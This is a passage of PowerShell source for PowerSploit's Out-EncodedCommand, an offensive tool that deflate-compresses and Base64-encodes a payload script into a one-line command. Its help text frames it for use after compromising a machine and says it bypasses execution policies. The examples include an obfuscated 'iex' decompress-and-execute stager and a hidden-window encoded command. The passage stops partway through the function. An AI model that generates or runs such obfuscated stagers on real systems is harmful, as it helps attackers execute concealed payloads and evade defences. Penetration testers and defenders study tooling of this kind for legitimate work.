function Out-EncodedCommand { <# .SYNOPSIS Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. PowerSploit Function: Out-EncodedCommand Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. .PARAMETER ScriptBlock Specifies a scriptblock containing your payload. .PARAMETER Path Specifies the path to your payload. .PARAMETER NoExit Outputs the option to not exit after running startup commands. .PARAMETER NoProfile Outputs the option to not load the Windows PowerShell profile. .PARAMETER NonInteractive Outputs the option to not present an interactive prompt to the user. .PARAMETER Wow64 Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. .PARAMETER WindowStyle Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. .PARAMETER EncodedOutput Base-64 encodes the entirety of the output. This is usually unnecessary and effectively doubles the size of the output. This option is only for those who are extra paranoid. .EXAMPLE C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() .EXAMPLE C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= Description ----------- Execute the above payload for the lulz. >D .NOTES This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip) .LINK http://www.exploit-monday.com #> [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] [ValidateNotNullOrEmpty()] [ScriptBlock] $ScriptBlock, [Parameter(Position = 0, ParameterSetName = 'FilePath' )] [ValidateNotNullOrEmpty()] [String] $Path, [Switch] $NoExit, [Switch] $NoProfile, [Switch] $NonInteractive, [Switch] $Wow64, [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] [String] $WindowStyle, [Switch] $EncodedOutput ) if ($PSBoundParameters['Path']) { Get-ChildItem $Path -ErrorAction Stop | Out-Null $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path)) } else { $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock) } $CompressedStream = New-Object IO.MemoryStream $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) $DeflateStream.Dispose() $CompressedScriptBytes = $CompressedStream.ToArray() $CompressedStream.Dispose() $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) # Generate the code that will decompress and execute the payload. # This code is intentionally ugly to save space. $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' # Base-64 strings passed to -EncodedCommand must be unicode encoded. $UnicodeEncoder = New-Object System.Text.UnicodeEncoding $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript)) # Build the command line options # Use the shortest possible command-line arguments to save space.
